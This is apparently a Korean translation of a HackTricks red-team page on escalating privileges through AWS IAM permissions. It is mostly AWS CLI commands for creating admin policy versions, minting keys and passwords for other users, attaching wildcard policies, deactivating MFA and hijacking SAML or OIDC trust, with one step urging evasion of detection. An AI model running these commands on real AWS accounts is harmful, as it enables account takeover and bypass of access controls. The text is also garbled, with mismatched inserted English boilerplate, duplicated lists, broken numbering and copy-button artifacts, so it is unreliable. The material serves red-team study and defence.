AWS - IAM Privesc

htARTE (HackTricks AWS Red Team Expert)을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

IAM

IAM에 대한 자세한 정보는 다음을 확인하세요:

iam:CreatePolicyVersion

iam:SetDefaultPolicyVersion 권한이 필요하지 않도록 --set-as-default 플래그를 사용하여 새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. 이를 통해 사용자 정의 권한을 정의할 수 있습니다.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

영향: 어떤 리소스에 대한 어떤 작업이든 직접적으로 권한을 상승시킵니다.

iam:SetDefaultPolicyVersion

IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 해주며, 새 버전에 더 많은 권한이 있는 경우 권한을 상승시킬 수 있습니다.

Bash 명령어:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

영향: 더 많은 권한을 활성화하여 간접적인 권한 상승이 가능합니다.

iam:CreateAccessKey

다른 사용자를 위해 액세스 키 ID와 비밀 액세스 키를 생성할 수 있도록 하여 잠재적인 권한 상승이 가능합니다.

Exploit:

aws iam create-access-key --user-name <target_user>

영향: 다른 사용자의 확장 권한을 가정하여 직접적인 권한 상승이 가능합니다.

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWS 콘솔 로그인을 위한 로그인 프로필을 생성하거나 업데이트하는 것을 허용하여, 직접적인 권한 상승으로 이어질 수 있습니다.

생성을 위한 Exploit:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

업데이트를 위한 Exploit:

<details>
<summary>Exploit for Update</summary>

### Description:
This exploit takes advantage of a vulnerability in the update mechanism of the target system to gain unauthorized privileges.

### Steps to reproduce:
1. Identify the target system's update mechanism.
2. Analyze the update process to find any vulnerabilities.
3. Exploit the vulnerability to gain unauthorized privileges.

### Mitigation:
To mitigate this exploit, the target system should regularly update its software and ensure that the update mechanism is secure.

</details>

설명: 이 Exploit은 대상 시스템의 업데이트 메커니즘의 취약점을 이용하여 무단 권한을 얻습니다.

재현 방법:

  1. 대상 시스템의 업데이트 메커니즘을 식별합니다.

  2. 취약점을 찾기 위해 업데이트 프로세스를 분석합니다.

  3. 취약점을 이용하여 무단 권한을 얻습니다.

완화 방법: 이 Exploit을 완화하기 위해서는 대상 시스템이 소프트웨어를 정기적으로 업데이트하고 업데이트 메커니즘이 안전한지 확인해야 합니다.

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

영향: "어떤" 사용자로 로그인하여 직접 권한 상승이 가능합니다.

iam:UpdateAccessKey

비활성화된 액세스 키를 활성화할 수 있게 해주며, 공격자가 비활성화된 키를 소유하고 있다면 무단 액세스로 이어질 수 있습니다.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

영향: 액세스 키를 재활성화하여 직접적인 권한 상승이 가능합니다.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

특정 AWS 서비스 (예: CodeCommit, Amazon Keyspaces)에 대한 자격증명을 생성하거나 재설정할 수 있으며, 관련된 사용자의 권한을 상속합니다.

생성을 위한 Exploit:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

리셋을 위한 익스플로잇:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

영향: 사용자의 서비스 권한 내에서 직접적인 권한 상승.

iam:AttachUserPolicy || iam:AttachGroupPolicy

사용자 또는 그룹에 정책을 첨부할 수 있게 해주며, 첨부된 정책의 권한을 상속받아 권한을 직접 상승시킬 수 있습니다.

사용자를 위한 Exploit:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

그룹을 위한 Exploit:

1. Identify the group with elevated privileges that you want to exploit.

2. Determine the permissions and policies associated with the group.

3. Look for misconfigurations or vulnerabilities that can be exploited to escalate privileges within the group.

4. Exploit any misconfigurations or vulnerabilities found to gain higher privileges within the group.

5. Once you have escalated privileges, take advantage of the additional permissions to access sensitive resources or perform unauthorized actions.

6. Be cautious and avoid detection while leveraging the elevated privileges.

7. Document your findings and report them to the appropriate parties for remediation.

8. Repeat the process for other groups with elevated privileges, if necessary.

Note: Always ensure you have proper authorization and legal permission before attempting any privilege escalation exploits.
1. 공격하려는 권한이 상승된 그룹을 식별합니다.

2. 그룹과 관련된 권한과 정책을 확인합니다.

3. 그룹 내에서 권한 상승을 위해 악용할 수 있는 잘못된 구성 또는 취약점을 찾습니다.

4. 발견된 잘못된 구성 또는 취약점을 악용하여 그룹 내에서 더 높은 권한을 얻습니다.

5. 권한 상승 후 추가 권한을 활용하여 민감한 리소스에 액세스하거나 무단 조치를 수행합니다.

6. 권한 상승을 활용하는 동안 감지를 피하고 조심하세요.

7. 결과를 문서화하고 적절한 당사자에게 보고하여 조치를 취하도록 합니다.

8. 필요한 경우 다른 권한이 상승된 그룹에 대해 프로세스를 반복합니다.

참고: 권한 상승 악용을 시도하기 전에 항상 적절한 인가와 법적 허가를 확보하세요.
<ol>
<li>공격하려는 권한이 상승된 그룹을 식별합니다.</li>
<li>그룹과 관련된 권한과 정책을 확인합니다.</li>
<li>그룹 내에서 권한 상승을 위해 악용할 수 있는 잘못된 구성 또는 취약점을 찾습니다.</li>
<li>발견된 잘못된 구성 또는 취약점을 악용하여 그룹 내에서 더 높은 권한을 얻습니다.</li>
<li>권한 상승 후 추가 권한을 활용하여 민감한 리소스에 액세스하거나 무단 조치를 수행합니다.</li>
<li>권한 상승을 활용하는 동안 감지를 피하고 조심하세요.</li>
<li>결과를 문서화하고 적절한 당사자에게 보고하여 조치를 취하도록 합니다.</li>
<li>필요한 경우 다른 권한이 상승된 그룹에 대해 프로세스를 반복합니다.</li>
</ol>
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

영향: 정책이 허용하는 모든 것에 대한 직접적인 권한 상승.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

역할, 사용자 또는 그룹에 정책을 첨부하거나 정책을 추가하여 직접적인 권한 상승을 허용합니다.

역할을 위한 Exploit:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

인라인 정책을 이용한 공격:

An inline policy is a policy that is directly attached to an IAM user, group, or role. It is defined within the same JSON document as the user, group, or role.

인라인 정책은 IAM 사용자, 그룹 또는 역할에 직접 연결된 정책입니다. 사용자, 그룹 또는 역할과 동일한 JSON 문서 내에서 정의됩니다.

To exploit an inline policy, you need to have the necessary permissions to modify the policy document. Once you have the required permissions, you can modify the policy to grant yourself additional privileges.

인라인 정책을 악용하기 위해서는 정책 문서를 수정할 권한이 필요합니다. 필요한 권한을 획득한 후에는 정책을 수정하여 추가 권한을 부여할 수 있습니다.

Here are the steps to exploit an inline policy:

인라인 정책을 악용하기 위한 단계는 다음과 같습니다:

  1. Identify the IAM user, group, or role that has an inline policy attached.

  2. Determine the permissions required to modify the policy document.

  3. Gain the necessary permissions to modify the policy document.

  4. Modify the policy document to grant yourself additional privileges.

  5. Test the modified policy to ensure it works as intended.

  6. Exploit the modified policy to escalate your privileges.

  7. 인라인 정책이 연결된 IAM 사용자, 그룹 또는 역할을 식별합니다.

  8. 정책 문서를 수정하기 위해 필요한 권한을 결정합니다.

  9. 정책 문서를 수정하기 위해 필요한 권한을 획득합니다.

  10. 정책 문서를 수정하여 추가 권한을 부여합니다.

  11. 수정된 정책이 의도한 대로 작동하는지 테스트합니다.

  12. 수정된 정책을 악용하여 권한을 상승시킵니다.

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

다음과 같은 정책을 사용할 수 있습니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

영향: 정책을 통해 권한을 추가하여 직접적인 권한 상승이 가능합니다.

iam:AddUserToGroup

IAM 그룹에 자신을 추가하여 그룹의 권한을 상속받아 권한 상승이 가능합니다.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

영향: 그룹 권한 수준까지 직접적인 권한 상승.

iam:UpdateAssumeRolePolicy

역할의 가정 역할 정책 문서를 변경하여 역할의 가정과 관련된 권한을 활성화하는 것을 허용합니다.

악용:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

다음과 같이 정책이 구성되어 있는 경우, 사용자에게 역할을 가정할 수 있는 권한이 부여됩니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

영향: 어떤 역할의 권한을 가정하여 직접적인 권한 상승이 가능합니다.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

CodeCommit에 인증하기 위해 SSH 공개 키를 업로드하고 MFA 장치를 비활성화하는 것을 허용하여 잠재적인 간접적인 권한 상승이 발생할 수 있습니다.

SSH 키 업로드를 위한 Exploit:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA 비활성화를 위한 Exploit:

1. Identify an IAM user with the necessary permissions to modify MFA settings.
2. Obtain the access key and secret key of the identified IAM user.
3. Configure the AWS CLI with the obtained credentials.
4. Use the following command to disable MFA for the targeted IAM user:

aws iam deactivate-mfa-device --user-name <IAM_USER_NAME> --serial-number <MFA_SERIAL_NUMBER>


Replace `<IAM_USER_NAME>` with the username of the targeted IAM user and `<MFA_SERIAL_NUMBER>` with the serial number of the MFA device associated with the user.
5. Verify that MFA has been successfully disabled by attempting to log in without the MFA code.

번역:

1. MFA 설정을 수정할 수 있는 필요한 권한을 가진 IAM 사용자를 식별합니다.
2. 식별된 IAM 사용자의 액세스 키와 시크릿 키를 획득합니다.
3. 획득한 자격 증명으로 AWS CLI를 구성합니다.
4. 다음 명령을 사용하여 대상 IAM 사용자의 MFA를 비활성화합니다:

aws iam deactivate-mfa-device --user-name <IAM_USER_NAME> --serial-number <MFA_SERIAL_NUMBER>


`<IAM_USER_NAME>`을 대상 IAM 사용자의 사용자 이름으로, `<MFA_SERIAL_NUMBER>`를 사용자와 연결된 MFA 장치의 일련 번호로 대체합니다.
5. MFA 코드 없이 로그인을 시도하여 MFA가 성공적으로 비활성화되었는지 확인합니다.
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

영향: CodeCommit 접근 권한 활성화 또는 MFA 보호 비활성화로 인한 간접적인 권한 상승.

iam:ResyncMFADevice

MFA 장치의 동기화를 허용하여 MFA 보호를 조작하여 간접적인 권한 상승이 발생할 수 있습니다.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

영향: MFA 장치를 추가하거나 조작함으로써 간접적인 권한 상승이 가능합니다.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

이러한 권한을 가지고 있다면, SAML 연결의 XML 메타데이터를 변경할 수 있습니다. 그런 다음, SAML 연합을 남용하여 신뢰하는 모든 역할로 로그인할 수 있습니다.

이 작업을 수행하면 합법적인 사용자는 로그인할 수 없게 됩니다. 그러나 XML을 얻을 수 있으므로, 자신의 XML을 넣고 로그인한 다음 이전 설정을 복구할 수 있습니다.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

할 일: 지정된 역할로 SAML 메타데이터를 생성하고 로그인할 수 있는 도구

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(확실하지 않음) 공격자가 이러한 권한을 가지고 있다면, 새로운 Thumbprint를 추가하여 공급자를 신뢰하는 모든 역할에 로그인할 수 있습니다.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新